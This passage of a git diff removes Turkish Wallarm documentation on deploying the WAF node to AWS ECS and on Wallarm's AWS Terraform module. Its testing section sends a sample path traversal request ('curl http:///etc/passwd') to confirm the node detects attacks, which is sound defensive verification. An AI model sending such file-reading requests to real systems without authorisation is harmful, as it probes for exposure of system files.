Cloud](https://us1.my.wallarm.com/) veya [EU Cloud](https://my.wallarm.com/) için Wallarm Console'da **Administrator** rolüne sahip hesaba erişim -* Saldırı tespit kurallarına ve [API spesifikasyonlarına][api-policy-enf-docs] güncellemeleri indirmek ve ayrıca [allowlist'e, denylist'e veya graylist'e][graylist-docs] alınmış ülkeleriniz, bölgeleriniz veya veri merkezleriniz için kesin IP'leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" - -## Wallarm düğümü Docker konteyneri yapılandırma seçenekleri - ---8<-- "../include/waf/installation/docker-running-options.md" - -## Ortam değişkenleriyle yapılandırılmış Wallarm düğümü Docker konteynerinin dağıtımı - -Yalnızca ortam değişkenleriyle yapılandırılan konteynerleştirilmiş Wallarm filtreleme düğümünü dağıtmak için AWS Management Console ve AWS CLI kullanılır. - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. [AWS Management Console](https://console.aws.amazon.com/console/home) → **Services** listesi → **Elastic Container Service** bölümüne giriş yapın. -1. **Create Cluster** düğmesi ile küme oluşturma işlemine ilerleyin: - 1. Şablon olarak **EC2 Linux + Networking** seçin. - 2. Küme adını belirtin, örneğin: `wallarm-cluster`. - 3. Gerekirse, diğer ayarları [AWS talimatlarını](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/create_cluster.html) izleyerek yapın. - 4. Kümeyi kaydedin. -1. Wallarm Cloud’a bağlanmak için gereken hassas verileri (düğüm belirteci) [AWS Secrets Manager](https://docs.aws.amazon.com/secretsmanager/latest/userguide/tutorials_basic.html) veya [AWS Systems Manager → Parameter Store](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-paramstore-su-create.html) kullanarak şifreleyin. - - Bu talimatlarda, hassas veriler AWS Secrets Manager’da saklanır. - - !!! warning "Hassas veri deposuna erişim" - Docker konteynerinin şifrelenmiş hassas verileri okuyabilmesi için AWS ayarlarının aşağıdaki gereksinimleri karşıladığından emin olun: - - * Hassas veriler, Docker konteynerinin çalıştırıldığı bölgedeki depoda saklanır. - * Görev tanımındaki `executionRoleArn` parametresinde belirtilen ECS görev yürütme rolü, belirli bir gizli ARN’ye kapsamlı en az ayrıcalıklı okuma politikasına sahip olmalıdır. Gizli anahtarı şifrelemek için müşteri tarafından yönetilen bir KMS anahtarı kullanıyorsanız, bu anahtar için `kms:Decrypt` iznini de verin. [IAM politikaları kurulumu hakkında daha fazla bilgi →](https://docs.aws.amazon.com/secretsmanager/latest/userguide/auth-and-access_identity-based-policies.html) - - Örnek IAM politikası: - - ```json - { - "Version": "2012-10-17", - "Statement": [ - { - "Sid": "ReadSpecificSecret", - "Effect": "Allow", - "Action": [ - "secretsmanager:GetSecretValue", - "secretsmanager:DescribeSecret" - ], - "Resource": "arn:aws:secretsmanager:::secret:*" - }, - { - "Sid": "DecryptForSecret", - "Effect": "Allow", - "Action": [ - "kms:Decrypt" - ], - "Resource": "arn:aws:kms:::key/", - "Condition": { - "StringEquals": { - "kms:ViaService": "secretsmanager..amazonaws.com" - } - } - } - ] - } - ``` - - Secrets Manager için varsayılan AWS yönetilen anahtarını kullanıyorsanız, `DecryptForSecret` ifadesini atlayabilirsiniz. -1. Aşağıdaki yerel JSON dosyasını [task definition](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definitions.html) ile oluşturun (task definition, Docker konteynerinin çalışma senaryosunu belirler): - - === "Wallarm US Cloud kullanıyorsanız" - ```json - { - "executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", - "containerDefinitions": [ - { - "memory": 128, - "portMappings": [ - { - "hostPort": 80, - "containerPort": 80, - "protocol": "tcp" - } - ], - "essential": true, - "environment": [ - { - "name": "WALLARM_API_HOST", - "value": "us1.api.wallarm.com" - }, - { - "name": "NGINX_BACKEND", - "value": "" - }, - { - "name": "WALLARM_LABELS", - "value": "group=" - } - ], - "secrets": [ - { - "name": "WALLARM_API_TOKEN", - "valueFrom": "arn:aws:secretsmanager:::secret::::" - } - ], - "name": "wallarm-container", - "image": "registry-1.docker.io/wallarm/node:6.5.1" - } - ], - "family": "wallarm-api-security-node" - } - ``` - === "Wallarm EU Cloud kullanıyorsanız" - ```json - { - "executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", - "containerDefinitions": [ - { - "memory": 128, - "portMappings": [ - { - "hostPort": 80, - "containerPort": 80, - "protocol": "tcp" - } - ], - "essential": true, - "environment": [ - { - "name": "NGINX_BACKEND", - "value": "" - }, - { - "name": "WALLARM_LABELS", - "value": "group=" - } - ], - "secrets": [ - { - "name": "WALLARM_API_TOKEN", - "valueFrom": "arn:aws:secretsmanager:::secret::::" - } - ], - "name": "wallarm-container", - "image": "registry-1.docker.io/wallarm/node:6.5.1" - } - ], - "family": "wallarm-api-security-node" - } - ``` - - * ``: [AWS hesap kimliğiniz](https://docs.aws.amazon.com/IAM/latest/UserGuide/console_account-alias.html). - * `environment` nesnesi, Docker konteynerine metin formatında iletilmesi gereken ortam değişkenlerini ayarlar. Kullanılabilir ortam değişkenlerinin kümesi aşağıdaki tabloda açıklanmıştır. `WALLARM_API_TOKEN` değişkeninin `secrets` nesnesi içinde iletilmesi önerilir. - * `secret` nesnesi, ortam değişkenlerinin hassas veri deposuna bağlantılar olarak Docker konteynerine iletilmesini ayarlar. Değerlerin formatı seçilen depoya bağlıdır (daha fazla bilgi için [AWS Secrets Manager](https://docs.aws.amazon.com/secretsmanager/latest/userguide/tutorials_basic.html) veya [AWS Systems Manager → Parameter Store](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-paramstore-su-create.html) belgelerine bakın). - - `WALLARM_API_TOKEN` değişkeninin `secrets` nesnesi içinde iletilmesi önerilir. - - --8<-- "../include/waf/installation/nginx-docker-all-env-vars-latest.md" - - * Tüm yapılandırma dosyası parametreleri [AWS belgelerinde](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters.html) açıklanmıştır. -1. JSON yapılandırma dosyasına dayalı görev tanımını [`aws ecs register‑task‑definition`](https://docs.aws.amazon.com/cli/latest/reference/ecs/register-task-definition.html) komutunu kullanarak kaydedin: - - ```bash - aws ecs register-task-definition --cli-input-json file:/// - ``` - - * ``: yerel makinedeki görev tanımı JSON dosyasının yolu. - * ``: görev tanımı JSON dosyasının adı ve uzantısı. -1. Kümede görevi [`aws ecs run-task`](https://docs.aws.amazon.com/cli/latest/reference/ecs/run-task.html) komutunu kullanarak çalıştırın: - - ```bash - aws ecs run-task --cluster --launch-type EC2 --task-definition - ``` - - * ``: ilk adımda oluşturulan kümenin adı. Örneğin, `wallarm-cluster`. - * ``: oluşturulan görev tanımının adı. Değer, görev tanımı JSON dosyasında belirtilen `family` parametresi değeriyle aynı olmalıdır. Örneğin, `wallarm-api-security-node`. -1. AWS Management Console → **Elastic Container Service** → çalışan göreve sahip küme → **Tasks** bölümünü açın ve görevin listede görüntülendiğinden emin olun. -1. [Filtreleme düğümünün çalışmasını test edin](#testing-the-filtering-node-operation). - -## Bağlanmış dosya ile yapılandırılmış Wallarm düğümü Docker konteynerinin dağıtımı - -Ortam değişkenleri ve bağlanmış dosya ile yapılandırılmış konteynerleştirilmiş Wallarm filtreleme düğümünü dağıtmak için AWS Management Console ve AWS CLI kullanılır. - -Bu talimatlarda, yapılandırma dosyası [AWS EFS](https://docs.aws.amazon.com/efs/latest/ug/whatisefs.html) dosya sisteminden bağlanır. Dosyayı bağlamanın diğer yöntemlerini [AWS belgelerinde](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/using_data_volumes.html) inceleyebilirsiniz. - -AWS EFS'den bağlanmış yapılandırma dosyası ve ortam değişkenleri ile konteyneri dağıtmak için: - ---8<-- "../include/waf/installation/get-api-or-node-token.md" - -1. [AWS Management Console](https://console.aws.amazon.com/console/home) → **Services** listesi → **Elastic Container Service** bölümüne giriş yapın. -1. **Create Cluster** düğmesi ile küme oluşturma işlemine ilerleyin: - - * **Template**: `EC2 Linux + Networking`. - * **Cluster name**: `wallarm-cluster` (örnek olarak). - * **Provisioning Model**: `On-Demand Instance`. - * **EC2 instance type**: `t2.micro`. - * **Number of instances**: `1`. - * **EC2 AMI ID**: `Amazon Linux 2 Amazon ECS-optimized AMI`. - * **Key pair**: örnekteki için SSH bağlantısı için [key pair](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-key-pairs.html). Yapılandırma dosyasını depoya yüklemek için örneğe SSH ile bağlanmanız gerekecektir. - * Diğer ayarlar varsayılan olarak bırakılabilir. Diğer ayarları değiştirirken, [AWS EFS kurulumu talimatlarının](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/tutorial-efs-volumes.html) izlenmesi önerilir. -1. AWS EFS depolamayı [AWS talimatlarının](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/tutorial-efs-volumes.html) 2-4. adımlarını izleyerek yapılandırın. -1. AWS talimatlarının 4. adımında, `default` adlı yapılandırma dosyasını oluşturun ve dosyayı varsayılan olarak bağlama için kullanılan dosyaları depolayan dizine yerleştirin. `default` dosyası filtreleme düğümü yapılandırmasını kapsamalıdır. Asgari ayarlara sahip dosya örneği: - - ```bash - server { - listen 80 default_server; - listen [::]:80 default_server ipv6only=on; - #listen 443 ssl; - - server_name localhost; - - #ssl_certificate cert.pem; - #ssl_certificate_key cert.key; - - root /usr/share/nginx/html; - - index index.html index.htm; - - wallarm_mode monitoring; - # wallarm_application 1; - - location / { - proxy_pass http://example.com; - include proxy_params; - } - } - ``` - - [Yapılandırma dosyasında belirtilebilecek filtreleme düğümü direktifleri kümesi →][nginx-waf-directives] -1. Wallarm Cloud’a bağlanmak için gereken hassas verileri (düğüm belirteci) [AWS Secrets Manager](https://docs.aws.amazon.com/secretsmanager/latest/userguide/tutorials_basic.html) veya [AWS Systems Manager → Parameter Store](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-paramstore-su-create.html) kullanarak şifreleyin. - - Bu talimatlarda, hassas veriler AWS Secrets Manager’da saklanır. - - !!! warning "Hassas veri deposuna erişim" - Docker konteynerinin şifrelenmiş hassas verileri okuyabilmesi için AWS ayarlarının aşağıdaki gereksinimleri karşıladığından emin olun: - - * Hassas veriler, Docker konteynerinin çalıştırıldığı bölgedeki depoda saklanır. - * Görev tanımındaki `executionRoleArn` parametresinde belirtilen ECS görev yürütme rolü, belirli bir gizli ARN’ye kapsamlı en az ayrıcalıklı okuma politikasına sahip olmalıdır. Gizli anahtarı şifrelemek için müşteri tarafından yönetilen bir KMS anahtarı kullanıyorsanız, bu anahtar için `kms:Decrypt` iznini de verin. [Yukarıdaki politika örneğine](#ortam-degiskenleriyle-yapilandirilmis-wallarm-dugumu-docker-konteynerinin-dagitimi) ve [IAM politikaları belgelerine →](https://docs.aws.amazon.com/secretsmanager/latest/userguide/auth-and-access_identity-based-policies.html) bakın. -1. Aşağıdaki yerel JSON dosyasını [task definition](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definitions.html) ile oluşturun (task definition, Docker konteynerinin çalışma senaryosunu belirler): - - === "Wallarm US Cloud kullanıyorsanız" - ```json - { - "executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", - "containerDefinitions": [ - { - "memory": 128, - "portMappings": [ - { - "hostPort": 80, - "containerPort": 80, - "protocol": "tcp" - } - ], - "essential": true, - "mountPoints": [ - { - "containerPath": "", - "sourceVolume": "" - } - ], - "environment": [ - { - "name": "WALLARM_API_HOST", - "value": "us1.api.wallarm.com" - }, - { - "name": "WALLARM_LABELS", - "value": "group=" - } - ], - "secrets": [ - { - "name": "WALLARM_API_TOKEN", - "valueFrom": "arn:aws:secretsmanager:::secret::::" - } - ], - "name": "wallarm-container", - "image": "registry-1.docker.io/wallarm/node:6.5.1" - } - ], - "volumes": [ - { - "name": "", - "efsVolumeConfiguration": { - "fileSystemId": "", - "transitEncryption": "ENABLED" - } - } - ], - "family": "wallarm-api-security-node" - } - ``` - === "Wallarm EU Cloud kullanıyorsanız" - ```json - { - "executionRoleArn": "arn:aws:iam:::role/ecsTaskExecutionRole", - "containerDefinitions": [ - { - "memory": 128, - "portMappings": [ - { - "hostPort": 80, - "containerPort": 80, - "protocol": "tcp" - } - ], - "essential": true, - "mountPoints": [ - { - "containerPath": "/etc/nginx/http.d", - "sourceVolume": "default" - } - ], - "environment": [ - { - "name": "WALLARM_LABELS", - "value": "group=" - } - ], - "secrets": [ - { - "name": "WALLARM_API_TOKEN", - "valueFrom": "arn:aws:secretsmanager:::secret::::" - } - ], - "name": "wallarm-container", - "image": "registry-1.docker.io/wallarm/node:6.5.1" - } - ], - "volumes": [ - { - "name": "default", - "efsVolumeConfiguration": { - "fileSystemId": "", - "transitEncryption": "ENABLED" - } - } - ], - "family": "wallarm-api-security-node" - } - ``` - - * ``: [AWS hesap kimliğiniz](https://docs.aws.amazon.com/IAM/latest/UserGuide/console_account-alias.html). - * ``: yapılandırma dosyasının bağlanacağı konteyner dizini. Yapılandırma dosyaları, NGINX tarafından kullanılan aşağıdaki konteyner dizinlerine bağlanabilir: - - * `/etc/nginx/conf.d` — ortak ayarlar - * `/etc/nginx/http.d` — sanal ana bilgisayar ayarları - * `/var/www/html` — statik dosyalar - - Filtreleme düğümü direktifleri `/etc/nginx/http.d/default.conf` dosyasında tanımlanmalıdır. - - * ``: bağlanan dosyanın AWS EFS depolama yapılandırmasını içeren `volumes` nesnesinin adı (`` ile aynı olmalıdır). - * ``: bağlanan dosyanın AWS EFS depolama yapılandırmasını içeren `volumes` nesnesinin adı. - * ``: konteynere bağlanması gereken dosyayı içeren AWS EFS dosya sisteminin kimliği. Kimlik, AWS Management Console → **Services** → **EFS** → **File systems** bölümünde görüntülenir. - * `environment` nesnesi, Docker konteynerine metin formatında iletilmesi gereken ortam değişkenlerini ayarlar. Kullanılabilir ortam değişkenlerinin kümesi aşağıdaki tabloda açıklanmıştır. `WALLARM_API_TOKEN` değişkeninin `secrets` nesnesi içinde iletilmesi önerilir. - * `secret` nesnesi, ortam değişkenlerinin hassas veri deposuna bağlantılar olarak Docker konteynerine iletilmesini ayarlar. Değerlerin formatı seçilen depoya bağlıdır (daha fazla bilgi için [AWS Secrets Manager](https://docs.aws.amazon.com/secretsmanager/latest/userguide/tutorials_basic.html) veya [AWS Systems Manager → Parameter Store](https://docs.aws.amazon.com/systems-manager/latest/userguide/sysman-paramstore-su-create.html) belgelerine bakın). - - `WALLARM_API_TOKEN` değişkeninin `secrets` nesnesi içinde iletilmesi önerilir. - - --8<-- "../include/waf/installation/nginx-docker-env-vars-to-mount-latest.md" - - * Tüm yapılandırma dosyası parametreleri [AWS belgelerinde](https://docs.aws.amazon.com/AmazonECS/latest/developerguide/task_definition_parameters.html) açıklanmıştır. -1. JSON yapılandırma dosyasına dayalı görev tanımını [`aws ecs register‑task‑definition`](https://docs.aws.amazon.com/cli/latest/reference/ecs/register-task-definition.html) komutunu kullanarak kaydedin: - - ```bash - aws ecs register-task-definition --cli-input-json file:/// - ``` - - * ``: yerel makinedeki görev tanımı JSON dosyasının yolu. - * ``: görev tanımı JSON dosyasının adı ve uzantısı. -1. Kümede görevi [`aws ecs run-task`](https://docs.aws.amazon.com/cli/latest/reference/ecs/run-task.html) komutunu kullanarak çalıştırın: - - ```bash - aws ecs run-task --cluster --launch-type EC2 --task-definition - ``` - - * ``: ilk adımda oluşturulan kümenin adı. Örneğin, `wallarm-cluster`. - * ``: oluşturulan görev tanımının adı. Değer, görev tanımı JSON dosyasında belirtilen `family` parametresi değeriyle aynı olmalıdır. Örneğin, `wallarm-api-security-node`. -1. AWS Management Console → **Elastic Container Service** → çalışan göreve sahip küme → **Tasks** bölümünü açın ve görevin listede görüntülendiğinden emin olun. -1. [Filtreleme düğümünün çalışmasını test edin](#testing-the-filtering-node-operation). - -## Filtreleme düğümünün çalışmasının test edilmesi - -1. AWS Management Console’da, çalışan görevi açın ve konteynerin IP adresini **External Link** alanından kopyalayın. - - ![Konteyner örneğini ayarlama][aws-copy-container-ip-img] - - IP adresi boşsa, lütfen konteynerin **RUNNING** durumunda olduğundan emin olun. - -2. Kopyalanan adrese test [Path Traversal][ptrav-attack-docs] saldırısı içeren isteği gönderin: - - ``` - curl http:///etc/passwd - ``` -3. Wallarm Console → **Attacks** bölümünü [US Cloud](https://us1.my.wallarm.com/attacks) veya [EU Cloud](https://my.wallarm.com/attacks) ortamında açın ve saldırının listede görüntülendiğinden emin olun. - ![Arayüzde Attacks][attacks-in-ui-image] -1. İsteğe bağlı olarak, düğümün diğer çalışma yönlerini [test edin][link-docs-check-operation]. - -Konteyner dağıtımı sırasında oluşan hatalara ilişkin ayrıntılar, AWS Management Console’daki görev ayrıntılarında görüntülenir. Konteyner erişilemezse, gerekli filtreleme düğümü parametrelerinin doğru değerlerle konteynere iletildiğinden emin olun. \ No newline at end of file diff --git a/docs/latest-tr/installation/cloud-platforms/aws/terraform-module/overview.md b/docs/latest-tr/installation/cloud-platforms/aws/terraform-module/overview.md deleted file mode 100644 index 422a4a42c1..0000000000 --- a/docs/latest-tr/installation/cloud-platforms/aws/terraform-module/overview.md +++ /dev/null @@ -1,117 +0,0 @@ -# Terraform kullanarak AWS üzerinde Wallarm dağıtımı - -Wallarm, Terraform uyumlu bir ortamdan [AWS](https://aws.amazon.com/)'ye düğüm dağıtımı için [Terraform modülünü](https://registry.terraform.io/modules/wallarm/wallarm/aws/) sağlar. Modülü keşfetmek ve sağlanan dağıtım örneklerini denemek için bu talimatları kullanın. - -Wallarm Terraform modülünü uygulayarak, Wallarm Node'un **[in-line](../../../inline/overview.md) (bu dağıtım yönteminde proxy)** dağıtımını sağlayan bir çözüm sunuyoruz. Dağıtım seçeneği, `preset` Wallarm modül değişkeniyle kolayca kontrol edilir. - -## Kullanım senaryoları - -Desteklenen tüm [Wallarm dağıtım seçenekleri](../../../supported-deployment-options.md) arasında, aşağıdaki kullanım senaryolarında Wallarm dağıtımı için Terraform modülü önerilir: - -* Mevcut altyapınız AWS üzerinde bulunuyorsa. -* Infrastructure as Code (IaC) pratiğini benimsiyorsanız. Wallarm'ın Terraform modülü, AWS üzerinde Wallarm düğümünün otomatik yönetimi ve sağlanmasını mümkün kılarak verimlilik ve tutarlılığı artırır. - -## Gereksinimler - -* Yerel olarak [kurulu](https://learn.hashicorp.com/tutorials/terraform/install-cli) Terraform 1.0.5 veya üzeri -* US veya EU [Cloud](../../../../about-wallarm/overview.md#cloud) içindeki Wallarm Console'da **Administrator** [rolüne](../../../../user-guides/settings/users.md#user-roles) sahip hesaba erişim -* US Wallarm Cloud ile çalışıyorsanız `https://us1.api.wallarm.com` veya EU Wallarm Cloud ile çalışıyorsanız `https://api.wallarm.com` adresine erişim. Lütfen erişimin bir güvenlik duvarı tarafından engellenmediğinden emin olun -* Saldırı tespit kuralları ve [API spesifikasyonları](../../../../api-specification-enforcement/overview.md) güncellemelerini indirmek ve [izinli, engelli veya gri listede](../../../../user-guides/ip-lists/overview.md) yer alan ülke, bölge veya veri merkezleriniz için kesin IP'leri almak amacıyla aşağıdaki IP adreslerine erişim - - --8<-- "../include/wallarm-cloud-ips.md" - -Bu konu, Wallarm'ı dağıtmak için gerekli tüm AWS kaynaklarının (ör. bir VPC kümesi) oluşturulmasına yönelik talimatları içermez. Ayrıntılar için ilgili [Terraform rehberine](https://learn.hashicorp.com/tutorials/terraform/module-use) bakın. - -## Wallarm AWS Terraform Modülü nasıl kullanılır? - -AWS Terraform modülünü kullanarak üretimde Wallarm'ı dağıtmak için: - -1. [US Cloud](https://us1.my.wallarm.com/signup) veya [EU Cloud](https://my.wallarm.com/signup) içinde Wallarm Console'a kaydolun. -1. Wallarm Console → **Nodes** bölümünü açın ve **Wallarm node** türünde bir düğüm oluşturun. - - ![Bir Wallarm düğümünün oluşturulması](../../../../images/user-guides/nodes/create-wallarm-node-name-specified.png) -1. Oluşturulan düğüm token'ını kopyalayın. -1. Terraform yapılandırmanıza `wallarm` modül kodunu ekleyin: - - ```conf - module "wallarm" { - source = "wallarm/wallarm/aws" - - instance_type = "..." - - vpc_id = "..." - - preset = "proxy" - proxy_pass = "https://..." - token = "..." - - ... - } - ``` -1. `wallarm` modül yapılandırmasında değişken değerlerini ayarlayın: - -| Değişken | Açıklama | Tür | Gerekli mi? | -| --------- | ----------- | --------- | --------- | -| `instance_type` | Wallarm dağıtımı için kullanılacak [Amazon EC2 örnek türü](https://aws.amazon.com/ec2/instance-types/), ör.: `t3.small`. | string | Evet -| `vpc_id` | Wallarm EC2 örneğinin dağıtılacağı [AWS Virtual Private Cloud kimliği](https://docs.aws.amazon.com/managedservices/latest/userguide/find-vpc.html). | string | Evet -| `token` | Wallarm Console UI'dan kopyalanan [Wallarm düğüm token'ı](../../../../user-guides/nodes/nodes.md#creating-a-node).

              Birden fazla kurulum için tek bir token kullanma

              Seçilen [platformdan](../../../../installation/supported-deployment-options.md) bağımsız olarak tek bir token'ı birden çok kurulumda kullanabilirsiniz. Bu, Wallarm Console UI içinde düğüm örneklerini mantıksal olarak gruplamanıza olanak tanır. Örnek: bir geliştirme ortamına birden çok Wallarm düğümü dağıtırsınız; her düğüm, belirli bir geliştiriciye ait kendi makinesindedir.

              | string | Evet -| **Wallarm'a özgü değişkenler** | | | | -| `host` | [Wallarm API sunucusu](../../../../about-wallarm/overview.md#cloud). Olası değerler:
              • US Cloud için `us1.api.wallarm.com`
              • EU Cloud için `api.wallarm.com`
              Varsayılan olarak `api.wallarm.com`. | string | Hayır -`upstream` | Dağıtılacak [Wallarm düğüm sürümü](../../../../updating-migrating/versioning-policy.md#version-list). Desteklenen en düşük sürüm `4.0`.

              Varsayılan olarak `4.8`. | string | Hayır -| `preset` | Wallarm dağıtım şeması. Olası değerler: `proxy` (varsayılan). | string | Hayır -| `proxy_pass` | Proxy'lenen sunucu protokolü ve adresi. Wallarm düğümü belirtilen adrese gönderilen istekleri işleyip meşru olanları bu adrese proxy'ler. Protokol olarak 'http' veya 'https' belirtilebilir. Adres bir alan adı veya IP adresi ve isteğe bağlı bir port olarak belirtilebilir. | string | Evet, `preset` `proxy` ise -| `mode` | [Trafik filtreleme modu](../../../../admin-en/configure-wallarm-mode.md). Olası değerler: `off`, `monitoring`, `safe_blocking`, `block`.

              Varsayılan olarak `monitoring`. | string | Hayır -|`libdetection` | Trafik analizi sırasında [libdetection kütüphanesinin kullanılıp](../../../../admin-en/configure-parameters-en.md#wallarm_enable_libdetection) kullanılmayacağı.

              Varsayılan olarak `true`. | bool | Hayır -|`global_snippet` | NGINX genel yapılandırmasına eklenecek özel yapılandırma. Yapılandırmayı içeren dosyayı Terraform kod dizinine koyup bu değişkende dosya yolunu belirtebilirsiniz.

              Değişken yapılandırma örneğini [proxy gelişmiş çözüm dağıtımı örneğinde](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced/main.tf#L17) bulabilirsiniz. | string | Hayır -|`http_snippet` | NGINX'in `http` yapılandırma bloğuna eklenecek özel yapılandırma. Yapılandırmayı içeren dosyayı Terraform kod dizinine koyup bu değişkende dosya yolunu belirtebilirsiniz.

              Değişken yapılandırma örneğini [proxy gelişmiş çözüm dağıtımı örneğinde](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced/main.tf#L18) bulabilirsiniz. | string | Hayır -|`server_snippet` | NGINX'in `server` yapılandırma bloğuna eklenecek özel yapılandırma. Yapılandırmayı içeren dosyayı Terraform kod dizinine koyup bu değişkende dosya yolunu belirtebilirsiniz.

              Değişken yapılandırma örneğini [proxy gelişmiş çözüm dağıtımı örneğinde](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced/main.tf#L19) bulabilirsiniz. | string | Hayır -|`post_script` | [Wallarm düğümü başlatma betiğinden (`cloud-init.py`)](../../cloud-init.md) sonra çalıştırılacak özel betik. İstediğiniz betiği içeren dosyayı Terraform kod dizinine koyup bu değişkende dosya yolunu belirtebilirsiniz.

              Değişken yapılandırma örneğini [proxy gelişmiş çözüm dağıtımı örneğinde](https://github.com/wallarm/terraform-aws-wallarm/tree/main/examples/advanced/main.tf#L34) bulabilirsiniz. | string | Hayır -| **AWS dağıtım yapılandırması** | | | | -| `app_name` | Wallarm modülünün oluşturacağı AWS kaynak adları için ön ek.

              Varsayılan olarak `wallarm`. | string | Hayır -| `app_name_no_template` | Wallarm modülünün oluşturacağı AWS kaynak adlarında büyük harflerin, sayıların ve özel karakterlerin kullanılıp kullanılmayacağı. `false` ise, kaynak adları yalnızca küçük harfleri içerir.

              Varsayılan olarak `false`. | bool | Hayır -| `lb_subnet_ids` | Application Load Balancer'ın dağıtılacağı [AWS Virtual Private Cloud alt ağ kimliklerinin listesi](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html). Önerilen değer, internet ağ geçidine rotası olan bir yönlendirme tablosuyla ilişkilendirilmiş genel alt ağlardır. | list(string) | Hayır -| `instance_subnet_ids` | Wallarm EC2 örneklerinin dağıtılacağı [AWS Virtual Private Cloud alt ağ kimliklerinin listesi](https://docs.aws.amazon.com/vpc/latest/userguide/VPC_Scenario2.html). Önerilen değer, yalnızca çıkış bağlantılarına göre yapılandırılmış özel alt ağlardır. | list(string) | Hayır -| `lb_enabled` | Bir AWS Application Load Balancer oluşturulup oluşturulmayacağı. `custom_target_group` değişkeninde özel bir hedef grup belirtilmediği sürece bu değişkende verilen herhangi bir değerle bir hedef grup oluşturulacaktır.

              Varsayılan olarak `true`. | bool | Hayır -| `lb_internal` | Bir Application Load Balancer'ın [dahili yük dengeleyici](https://docs.aws.amazon.com/elasticloadbalancing/latest/classic/elb-internal-load-balancers.html) yapılıp yapılmayacağı. Varsayılan olarak, bir ALB internet-facing türündedir. Bağlantıları eşzamansız yaklaşımla ele alıyorsanız önerilen değer `true`'dur.

              Varsayılan olarak `false`. | bool | Hayır -| `lb_deletion_protection` | [Bir Application Load Balancer'ın yanlışlıkla silinmeye karşı korunmasının](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/application-load-balancers.html#deletion-protection) etkinleştirilip etkinleştirilmeyeceği. Üretim dağıtımları için önerilen değer `true`'dur.

              Varsayılan olarak `true`. | bool | Hayır -| `lb_ssl_enabled` | Bir istemci ile Application Load Balancer arasında [SSL bağlantılarının müzakere edilip](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/create-https-listener.html#describe-ssl-policies) edilmeyeceği. `true` ise `lb_ssl_policy` ve `lb_certificate_arn` değişkenleri gereklidir. Üretim dağıtımları için önerilir.

              Varsayılan olarak `false`. | bool | Hayır -| `lb_ssl_policy` | [Application Load Balancer için güvenlik politikası](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/create-https-listener.html#describe-ssl-policies). | string | `lb_ssl_enabled` `true` ise Evet -| `lb_certificate_arn` | AWS Certificate Manager (ACM) sertifikasının [Amazon Resource Name (ARN)](https://docs.aws.amazon.com/acm/latest/userguide/acm-overview.html) değeri. | string | `lb_ssl_enabled` `true` ise Evet -| `custom_target_group` | [Oluşturulan Auto Scaling grubuna eklenecek](https://docs.aws.amazon.com/autoscaling/ec2/userguide/attach-load-balancer-asg.html) mevcut hedef grubun adı. Varsayılan olarak yeni bir hedef grup oluşturulup eklenir. Değer varsayılan dışındaysa AWS ALB oluşturma devre dışı bırakılır. | string | Hayır -| `inbound_allowed_ip_ranges` | Wallarm örneklerine gelen bağlantılara izin verilecek kaynak IP ve ağların listesi. AWS'nin, trafik genel alt ağlardan başlasa bile yük dengeleyici trafiğinin kaynağını maskelediğini unutmayın.

              Varsayılan olarak:
              • `"10.0.0.0/8",`
              • `"172.16.0.0/12",`
              • `"192.168.0.0/16"`
              | list(string) | Hayır -| `outbound_allowed_ip_ranges` | Wallarm örneklerinden giden bağlantılara izin verilecek kaynak IP ve ağların listesi.

              Varsayılan olarak: `"0.0.0.0/0"`. | list(string) | Hayır -| `extra_ports` | Wallarm örneklerine gelen bağlantılara izin verilecek, dahili ağ için ek portların listesi. Yapılandırma bir güvenlik grubuna uygulanacaktır. | list(number) | Hayır -| `extra_public_ports` | Wallarm örneklerine gelen bağlantılara izin verilecek, genel ağ için ek portların listesi. | list(number) | Hayır -| `extra_policies` | Wallarm yığınıyla ilişkilendirilecek AWS IAM ilkeleri. Amazon S3'ten veri isteyen bir betiği çalıştıran `post_script` değişkeniyle birlikte kullanmak faydalı olabilir. | list(string) | Hayır -| `source_ranges` | Bir AWS Application Load Balancer'dan gelen trafiğe izin verilecek kaynak IP ve ağların listesi.

              Varsayılan olarak `"0.0.0.0/0"`. | list(string) | Hayır -| `https_redirect_code` | HTTP isteklerinin HTTPS'e yönlendirilmesi için kod. Olası değerler:
              • `0` - yönlendirme devre dışı
              • `301` - kalıcı yönlendirme
              • `302` - geçici yönlendirme
              Varsayılan olarak `0`. | number | Hayır -| `asg_enabled` | [AWS Auto Scaling grubu](https://docs.aws.amazon.com/autoscaling/ec2/userguide/auto-scaling-groups.html) oluşturulup oluşturulmayacağı.

              Varsayılan olarak `true` | bool | Hayır -| `min_size` | Oluşturulan AWS Auto Scaling grubundaki minimum örnek sayısı.

              Varsayılan olarak `1`.| number | Hayır -| `max_size` | Oluşturulan AWS Auto Scaling grubundaki maksimum örnek sayısı.

              Varsayılan olarak `3`.| number | Hayır -| `desired_capacity` | Oluşturulan AWS Auto Scaling grubundaki başlangıç örnek sayısı. `min_size` değerine eşit veya ondan büyük ve `max_size` değerine eşit veya ondan küçük olmalıdır.

              Varsayılan olarak `1`.| number | Hayır -| `autoscaling_enabled` | Wallarm kümesi için [Amazon EC2 Auto Scaling](https://docs.aws.amazon.com/autoscaling/ec2/userguide/what-is-amazon-ec2-auto-scaling.html)'in etkinleştirilip etkinleştirilmeyeceği.

